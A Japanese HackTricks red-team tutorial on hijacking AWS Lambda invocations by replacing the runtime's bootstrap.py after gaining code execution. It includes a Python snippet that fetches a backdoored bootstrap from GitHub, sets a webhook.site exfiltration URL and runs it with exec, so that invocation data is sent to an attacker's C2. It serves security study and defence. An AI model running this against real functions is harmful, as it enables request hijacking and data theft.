AWS - Lambdaリクエストの盗難

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Lambdaフロー

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicerはコンテナ外のプロセスで、initプロセスに呼び出し送信します。
  2. initプロセスはポート9001でリッスンし、いくつかの興味深いエンドポイントを公開しています:
  • /2018-06-01/runtime/invocation/next – 次の呼び出しイベントを取得
  • /2018-06-01/runtime/invocation/{invoke-id}/response – 呼び出しのハンドラー応答を返す
  • /2018-06-01/runtime/invocation/{invoke-id}/error – 実行エラーを返す
  1. bootstrap.pyはinitプロセスから呼び出しを取得するループを持ち、それらを処理するためにユーザーコードを呼び出します(/next)。
  2. 最後に、bootstrap.pyはinitに応答を送信します。

bootstrapはユーザーコードをモジュールとして読み込むため、ユーザーコードによって実行されるコードは実際にはこのプロセス内で発生しています。

Lambdaリクエストの盗難

この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**bootstrap.pyプロセス内で悪意のあるbootstrap.pyプロセスを実行させることです。このようにして、悪意のあるbootstrapプロセスはinitプロセスと通信を開始し、リクエストを処理しますが、正当なbootstrapはトラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。

これは、ユーザーのコードが正当な**bootstrap.py**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます:

  • 現在の呼び出しの偽の結果をinitプロセスに送信し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
  • リクエストは**/${invoke-id}/response**に送信する必要があります。
  • invoke-idは、正当な**bootstrap.pyプロセスのスタックからinspect pythonモジュールを使用して取得することができます(ここで提案されたように)または再度/2018-06-01/runtime/invocation/next**にリクエストすることでも取得できます(ここで提案されたように)。
  • 次の呼び出しを処理する悪意のある**boostrap.py**を実行する。
  • ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
  • この攻撃では、システムから**bootstrap.py**の元のコードを取得するか、githubから取得し、悪意のあるコードを追加して現在のlambda呼び出しから実行するだけで十分です。

攻撃手順

  1. RCE脆弱性を見つける。
  2. 悪意のある bootstrapを生成する(例:https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)。
  3. 悪意のあるbootstrapを実行する

これらのアクションは簡単に実行できます:

bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

詳細については、https://github.com/carlospolop/lambda_bootstrap_switcherを確認してください。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする